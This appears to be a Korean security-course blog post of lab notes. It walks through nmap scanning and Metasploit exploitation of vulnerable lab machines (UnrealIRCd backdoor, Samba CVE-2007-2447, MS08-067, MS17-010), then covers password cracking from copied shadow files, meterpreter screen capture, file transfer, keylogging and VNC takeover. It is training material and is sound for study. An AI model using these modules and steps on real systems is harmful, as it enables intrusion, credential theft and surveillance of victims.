본문 바로가기

Rookies 9기/시스템 네트워크보안

시스템/네트워크 보안 5일차

728x90

복습

• 취약점 분석 진단

1) 포트 스캐닝

- 열린 포트를 확인 : 어떤 서비스가 실행 중인가 파악 ( 관리자가 실행하지 않은 서비스가 실행 중이라면 매우 위험)

- 오래되어서 취약한 서비스 확인 : 버전확인

- 종류 : IP스캔, TCP 스캔(Open), SYN 스캔(Half-Open), UDP스캔, X-mas/FIN/Null, OS, Version, All Scan 등등

 

2) 취약점에 대한 조사

- 구글

- 취약점 제보 사이트 :  http://www.exploit-db.com (Offensive Security에서 운영)

- 취약점 전문 사이트 : Rapid7 : Metasploit를 판매하는 회사

- 취약점 공식 웹사이트 : httpcve.mitre.org

 

3) 스크립트를 활용한 상세 스캐닝

- Kali Linux에 있는 nmap 스크립트 활용

$ cd /usr/share/nmap/scripts

$ sudo find. -name "*취약점*"        //어떤 스크립트를 사용할 것인지 찾아봄

$sudo nmap --script=(스크립트 이름) x.x.x.x -p [포트번호]

-------> VULNERABLE (진짜 취약함)

 

4) Mestasploit를 이용해서 Exploit를 해보는 단계

$ sudo msfconsole

msf6> search  [취약점]

msf6> use  [공격 모듈]                                 // 공격 모듈 장착

msf6> info                                                   // 장착한 모듈에 대한 스크립트 내용을 볼 수 있음

msf6> set  rhosts  [타겟 호스트]                  // set  rhost 또는 set rhosts 

msf6> set  lhost  [공격자 호스트]                 // Reverse Connection(트로이목마) 등을 사용하는 페이로드인 경우에만

msf6> show  payloads                                // 어떤 페이로드를 사용할 수 있는지 목록 확인

msf6> set  payload  [페이로드]                    // 페이로드 설정

msf6> show  options                                  // 지금까지 설정한 내용이 올바른지 확인

msf6> exploit                                              // 공격 시작!!!

 

• UnrealIRCD 취약점

6667번 포트의 취약점에 대해 진단하고 Exploit까지 해보자.

nmap -sV 192.168.5.131 -p6667

6667 포트가 어떤 서비스를 실행하는지 및 어떤 버전을 사용하는지 확인을 한다.

구글검색

UnrealIRCD 버전을 사용한다. 구글에 이 버전에 무슨 취약점이 있는지 검색을 통해 찾아본 결과 Backdoor command 취약점이 있는 걸 찾을 수 있다.

스크립트 실행하기

/usr/share/nmap/scripts 디렉토리로 이동을 한 후 find 명령어로 스크립트를 찾은 후 nmap으로 스크립트를 실행을 한 결과 trojaned version를 볼 수가 있다. 즉, Reverse Connection를 하면 된다.

exploit 찾기

사용 가능한 exploit를 찾는다.

Show options

RHOSTS 설정이 잘 되었는지 확인을 한다.

show payloads

payload를 reverse_ruby로 변경해준다. (reverse Connection으로 변경)

• payload 선택시 참고
- 공격 모듈에 기본 장착되어 있으면 별도로 설정 안해도된다.
- Rapid7에서 인수할 때, Per Script를  Ruby로 재구조화했다. -> Ruby로 만든 스크립트가 더 잘 동작한다.

페이로드를 설정해준 후 exploit으로 공격을 실행시킨다.

ip addr명령어로 IP주소를 확인을 하면 접속이 되었다는 걸 볼 수 있다.

 

• Samba 취약점 

Samba 취약점을 찾아보자
- SMB(Server Message Block)는 Windows에서 Windows간에 파일 및 폴더를 공유하는 프로토콜
- SMB를 Linux에서도 활용하기 위해서 만든 프로토콜이 SaMBa이다.
- Windows 계정을 Linux계정과 일치를 시키면 권한을 부여하면 파일을 리눅스에 백업하거나 복사 등이 가능(부서 공유 서버로 활용)
- 공격자들이 경유서버로 활용할 가능성이 있다.

 

nmap -A 192.168.5.131

포트 스캐닝을 해주면 445번 포트에서 SAMBA 버전이 3.0.20을 사용하는 걸 볼 수 있다.

구글 검색

구글에 Samba 3.0.20 취약점을 했을 때 username map script command 취약점이 있는 걸 확인했다.

( 공식 취약점 번호 : CVE-2007-2447)

search samba 3.0.20

exploit를 찾기 위해 Search samba 3.0.20를 검색을 하였다.

use exploit/multi/samba/usermap_script
show options

show options으로 설정을 해야 할 것을 확인 후 RHOSTS를 설정해준다.

실행

exploit처럼 run도 실행을 시켜주는 명령어이다.

 

‣ 공격 성공 후에 모든 계정을 크래킹 하기

John the Ripper라는 도구를 이용해서 모든 계정에 대한 패스워드를 알아내기

metasploitable 의 cat /etc/passwd

root에서부터 블럭설정을 하는데 맨 마지막 계정의 sh까지만 블럭 설정하고, 오른쪽 마우스 눌러서 Copy Selection을 해준다.

Kali

새 탭을 열어 vi로 passwd 파일을 만들어 준다. ( 내용은 복사한 passwd내용을 넣어준다)

metasploitable 의 cat /etc/shadow
kali

shadow 파일도 passwd 파일처럼 복사를 해준 후 shadow 파일을 만들어 준다.

unshadow

unshadow 함수는 암호와 새도우 파일을 meta2.pass 이름으로 결합해준다.

John 함수

ID와 패스워드가 보이는 걸 확인할 수 있다.

 

※ john the Ripper

- 패스워드 크래킹 도구

- passwd와 shadow를 가지고 있으면 패스워드를 크래킹 해준다.

- Windows는 sam 파일이 있으면 패스워드를 크래킹 해준다.(sam파일은 Windows실 해중에는 복사/삭제/열기 불가능)

 

• Windows 2003 취약점

nmap -A 192.168.5.141 -T4

 smb 중 message-signing 가 취약하다고 볼 수 있다.

nmap --script=smb-vuln-* 192.168.5.141

smb-vuln 스크립트를 모두 다 실행시켰을 때 MS08-067 취약점이 있다는 걸 확인할 수 있다.

MS08-067 취약점에 exploit 공격이 가능한 모듈을 찾는다.

찾은 모듈을 타켓을 설정을 해준다.

show payloads

사용할 페이로드를 찾아본다.

결과

shell_bind_tcp 페이로드를 사용했지만 실행은 되지 않았다(사용할 수 있는 페이로드를 찾아보자)

 

• 악성코드 Stuxnet에서 사용한 취약점은?
- 4개의 Zeroday Exploit와 2개의 Oneday Exploit를 이용해서 윈도우를 통해 전파됨
- 이란에 있는 우라늄 농축시설을 운영하는 Siemens사의 PLC의 동작을 교란시키는 악성코드
- PLC는 프로그램된 로직 컨트롤러를 이용해서 동작시킴

• Windows 2007 취약점

sudo nmap -A 192.168.5.133

SMBv1과 SMBv2가 같이 사용되고 있다(SMBv1의 취약점을 가지고 있다)

sudo nmap --script=smb-vuln-*  192.168.5.133

SMB 취약점 스크립트를 모두 검색을 한 결과 ms17-010 취약점을 찾을 수 있다.

Quiz) MS17-010을 이용한 랜섬웨어의 이름은?  WannaCry (라자루스 : 북한 해킹그룹)

search ms17-010

ms17-010 취약점에 exploit 공격이 있는지 search을 통해 찾는다.

payload는 기본 설정인 windows/x64/meterpreter/reverse_tcp이다.

타켓(RHOSTS)을 설정을 해준다.

exploit

실행을 하면 meterpreter이 나오면 접속이 된 것이다.

 

‣ 화면 캡처하기

screenshot

screenshot 명령어를 사용해 피해자 PC 화면을 캡처를 해보자.

피해자PC

피해자가 지금 보고 있는 화면을 캡처한다. 

 

‣  파일 업로드 및 다운로드하기

공격자 PC

mkdir 명령어를 사용해 C드라이브 안에 game 폴더를 만든다.

피해자 PC

피해자 PC에 로컬 디스크(C)에 game 폴더가 만들어진 걸 확인할 수 있다.

공격자 PC

game폴더 안에 공격자가 가지고 있는 아무 파일(nc.exx)을 업로드해보자.

피해자 PC

피해자 PC에 공격자가 파일이 업로드 된 걸 확인 할 수 있다.

피해자 PC

피해자 PC에 있는 파일을 공격자 PC로 가져와보자.

공격자 PC

domnload 명령어로 다운로드할 파일의 경로를 지정을 해준다.

공격자 PC

공격자 PC에 피해자 PC의 파일이 다운이 된걸 확인할 수 있다.

 

‣ 키로깅(키 입력값 알아내기)

공격자 PC

ps 명령어를 사용해 윈도우의 프로세스 목록을 볼 수 있다.

 

※ Explorer.exe 프로세스의 맨 앞 번호를 기억해야 하자

공격자 PC

mifrate 명령어를 사용해 meterpreter 프로세스를 Explorer.exe 아래로 들어간다.

공격자 PC

키로거를 동작시켜준다.

피해자 PC

아무 홈페이지에 들어가 아무 아이디, 비밀번호를 입력해보자.

공격자 PC

keyscan_dump로 피해자가 입력한 아이디와 비밀번호를 볼 수 있다. 즉, 피해자가 입력한 문자, 숫자 등 키보드를 누르는 순간 모든 게 기록된다.

 

‣ VNC로 화면 조종하기

payload 수정

Payload가 기본 설정이 아닌 windows/x64/vninject/reverse_tcp로 수정을 해주고 viewonly을 false로 설정해준다. 

※ windows/x64/vninject/reverse_tcpd은 피해자의 화면을 볼 수 있는 페이로드이다. viewonly false는 원격조종이고 true은 보기만 하겠다이다.

실행결과

VNC 창이 열리면서 피해자 화면과 똑같은 화면이 나온다. 공격자 PC에서 움직이면 피해자 PC가 똑같은 행동을 한다.

※ 취약점은 패치를 설치하면 해결이 된다.( 패치 번호 : KB4013389 or Later(이후에 나온 패치에 포함된 경우 있음))